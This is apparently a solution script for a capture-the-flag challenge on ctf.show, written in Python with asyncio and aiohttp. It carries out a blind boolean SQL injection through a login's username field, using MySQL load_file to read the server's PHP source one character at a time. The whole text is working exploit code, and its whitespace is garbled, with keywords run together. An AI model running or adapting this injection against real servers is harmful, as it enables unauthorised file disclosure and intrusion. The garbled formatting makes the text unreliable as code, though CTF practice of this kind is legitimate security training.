url = "http://b18b649a-59ea-42e3-8203-fef9df516585.challenge.ctf.show/api/index.php" SEM = asyncio.Semaphore(35) dic = string.printable
asyncdefcheck(session, i, c): asyncwith SEM: for attempt inrange(1000): try: data = { "username": f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={ord(c)},1,0)", "password": "0" } timeout = aiohttp.ClientTimeout(total=5) asyncwith session.post(url, data=data, timeout=timeout) as resp: text = await resp.text() return c if"\\u67e5\\u8be2\\u5931\\u8d25"in text elseNone except (asyncio.TimeoutError, aiohttp.ClientError, Exception) as e: if attempt == 1001: returnNone await asyncio.sleep(0.5) continue
asyncdefmain(): asyncwith aiohttp.ClientSession() as session: for i inrange(1, 100000): tasks = [] for c in dic: tasks.append(asyncio.create_task(check(session, i, c))) for task in asyncio.as_completed(tasks): result = await task if result: print(result, end="", flush=True) found_this_round = True for t in tasks: ifnot t.done(): t.cancel() break